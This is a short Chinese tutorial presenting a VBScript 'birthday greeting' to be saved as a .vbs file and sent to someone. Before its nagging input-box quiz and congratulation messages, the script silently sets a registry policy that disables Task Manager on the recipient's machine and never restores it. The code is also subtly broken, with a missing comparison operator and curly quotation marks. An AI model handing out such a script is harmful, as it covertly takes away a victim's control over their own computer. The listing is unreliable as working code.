生日神器VBS

步骤一、打开记事本，输入以下代码（建议直接复制）： 1.DIM WSH 2.SET WSH=WSCRIPT.CreateObject(“WSCRIPT.SHELL”) 3.WSH.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\disabletaskmgr",1,“REG_DWORD” 4.const title = “XX生日” 5.const yourday = “X月X日” 6.const question = “今天是什么日子？” 7.const info = “你在说谎！不要逃避，实话实说。” 8.dim youranswer 9.do 10.youranswer = inputbox(question, title) 11.if youranswer yourday then msgbox info, vbinformation+vbokonly, title 12.loop until youranswer = yourday 13.msgbox( “X家庭院满园春”) 14.msgbox (“X为金兰心先喜”) 15.msgbox (“生活舒适多温馨”) 16.msgbox (“日子甜蜜有滋味”) 17.msgbox (“快意人生要珍惜”) 18.msgbox (“乐观进取会成功”), vbinformation+vbokonly, title 19.msgbox("Blessings from Mr.Hu ")

步骤二、点击【文件】→【另存为】→【文件名：后缀改为 .vbs （示例：Play.vbs）】→【保存类型：所有文档】

注：